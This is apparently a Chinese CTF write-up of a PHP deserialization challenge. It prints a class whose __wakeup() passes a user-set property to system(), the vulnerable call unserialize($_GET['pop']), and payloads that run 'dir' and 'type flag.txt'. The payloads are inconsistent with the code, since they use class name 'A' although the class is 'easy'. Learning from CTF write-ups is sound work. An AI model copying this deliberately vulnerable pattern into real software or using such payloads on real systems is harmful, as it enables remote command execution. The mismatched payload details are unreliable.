[web]-反序列化漏洞-easy入门

打开网站看到代码:

<?php
highlight_file(__FILE__);
class easy{
public $cmd;
public function __wakeup(){
system($this->cmd);
}
}
unserialize($_GET['pop']);
?>

是一个简单的反序列化题目,在本地启动php_study,生成序列化字符串:

<?php
highlight_file(__FILE__);
class easy{
public $cmd;
public function __wakeup(){
system($this->cmd);
}
}
$a=new easy();
echo serialize($a);
unserialize($_GET['pop']);
?>


O:1:"A":1:{s:3:"cmd";N;}

魔术函数__wakeup()会在反序列化的时候自动执行, 看到里面有system函数,构造cmd参数,执行系统命令。

通过get参数传递包含构造cmd参数的字符串

O:1:"A":1:{s:3:"cmd";s:3:"dir";}

最终payload: O:1:"A":1:{s:3:"cmd";s:13:"type%20flag.txt";}

相关推荐

  1. web]-序列-easy ? not easy

    2024-07-18 01:44:03       22 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-18 01:44:03       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-18 01:44:03       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-18 01:44:03       58 阅读
  4. Python语言-面向对象

    2024-07-18 01:44:03       69 阅读

热门阅读

  1. 设计模式大白话之适配器模式

    2024-07-18 01:44:03       24 阅读
  2. C语言经典例题-19

    2024-07-18 01:44:03       19 阅读
  3. nvm的安装教程

    2024-07-18 01:44:03       20 阅读
  4. 人工智能前沿讲座——融合知识的自然语言处理

    2024-07-18 01:44:03       20 阅读
  5. centos7单机安装docker和k8s

    2024-07-18 01:44:03       22 阅读